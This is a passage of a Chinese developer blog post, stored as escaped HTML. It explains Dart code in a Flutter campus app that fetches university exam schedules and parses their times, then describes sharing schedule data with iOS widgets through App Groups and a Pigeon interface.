class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;msg\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;data\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSubject\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egenerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eSubject\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esubject:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;courseName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etype:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;batchName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;期末考试\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;期末考试\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;batchName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;期中考试\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;期中考试\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;batchName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etime:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;timeNote\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eplace:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;classroomName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eseat:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;seatNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e最后获取没有考试安排的科目,只有课程名称和课程 id。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eToBeArranged\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoBeArrangedData\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003eauthorizationDio\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"kd\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://ehall.xidian.edu.cn/jwmobile/biz/v410/examTask/listStuExamUnPlan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;?termCode=\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esemester\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ethen\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;code\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"m\"\u003e200\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eGetExamFailedException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;msg\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;data\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eToBeArranged\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egenerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eToBeArranged\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esubject:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;courseName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eid:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;courseNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取数据之后,我们需要处理数据,先看接口返回的数据结构:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nt\"\u003e\u0026#34;0\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;batchId\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;726db6ccda7f42f8b532a6b365e2a8ca\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;batchName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2021-2022学年第一学期期末考试\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;courseNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;CS263004X\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;courseName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;数据结构\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;examStart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-03-17 00:00:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;timeStart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;13:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;timeEnd\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;campusNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;S\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;campusName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;buildingNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;B\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;buildingName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;classroomNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;B-312\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;classroomName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;B-312\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;seatNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;timeNote\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-03-17 13:00-15:00(星期四)\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;examTaskStatus\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我利用的是 timeNote 来计算考试时间,毕竟\u003cdel\u003e代码迁移量小\u003c/del\u003e能用 RegExp 搞明白的事情,就不搞这么多东西。\n我只需要侦测开启时间就好,我们用这个正则表达式\u003ccode\u003e[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}\u003c/code\u003e就能提取开始时间,进而进行对比。\u003c/p\u003e\n\u003cp\u003e空闲教室请各位自行看代码吧,当时写到这里的时候接到了很多用户的崩溃报告,我直接弃疗,谁用这倒霉东西谁后悔我跟你们说。\u003c/p\u003e\n\u003ch2 id=\"安卓小部件和苹果小部件\"\u003e安卓小部件和苹果小部件\u003c/h2\u003e\n\u003cp\u003e首先,安卓小部件我是求别人写的,苹果部件是我写的。(Swift UI 是真的好写)\u003c/p\u003e\n\u003ch3 id=\"苹果的-groupid-机制\"\u003e苹果的 groupid 机制\u003c/h3\u003e\n\u003cp\u003e关于数据读取,安卓的好办,直接读就行了。但是苹果的就难办了。\u003c/p\u003e\n\u003cp\u003e简单来说,苹果的小部件是独立于主程序的,而苹果的沙盒机制导致了程序之间的数据是无法共享的。各位从 App Store 上面下载的程序,本质上是一个套件,里面包含了主程序和小部件程序。虽然小部件程序不能直接读主程序的数据,但是苹果大发慈悲地提供了一种名字叫\u003ccode\u003egroupid\u003c/code\u003e的机制,来使一个套件下面的数据能够共享。对于这个东西的介绍,可以阅读\u003ca class=\"link\" href=\"https://www.jianshu.com/p/a2d9ef58bad5\" target=\"_blank\" rel=\"noopener\"\n \u003e这个文章\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e我们需要共享的数据,主要是课表数据。所以我们需要把课表数据从主程序的区域复制一份到公共区域,而这里又涉及到调用原生端代码的问题,因为那些存储到公共区域的代码都是原生代码。这里我们需要提到\u003ca class=\"link\" href=\"https://pub.dev/packages/pigeon\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 的 Pigeon 插件\u003c/a\u003e,通过这个插件,我们可以比较简单地访问到原生代码。具体使用这里不会说明,我主要介绍我在原生开放了啥接口。\u003c/p\u003e\n\u003cp\u003e这个接口需要获取一个\u003ccode\u003eappid\u003c/code\u003e组名称,一个文件名\u003ccode\u003efileName\u003c/code\u003e,文件里面的内容\u003ccode\u003edata\u003c/code\u003e(必须为纯文本)。同时需要实现一个函数\u003ccode\u003esaveToGroupId\u003c/code\u003e来实现保存到公共空间的功能。接下来展示的就是我给插件编写的模板接口文件,插件会根据这个文件生成用于访问该函数的类。顺便一提,这个文件不能放进\u003ccode\u003e/lib\u003c/code\u003e里面。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Copyright 2024 BenderBlog Rodriguez and contributors.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// SPDX-License-Identifier: MPL-2.0\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:pigeon/pigeon.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eConfigurePigeon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePigeonOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edartOut:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;lib/bridge/save_to_groupid.g.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edartOptions:\u003c/span\u003e \u003cspan class=\"n\"\u003eDartOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eswiftOut:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ios/Runner/SaveToGroupID.g.swift\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eswiftOptions:\u003c/span\u003e \u003cspan class=\"n\"\u003eSwiftOptions\u003c/span\u003e\u003cspan 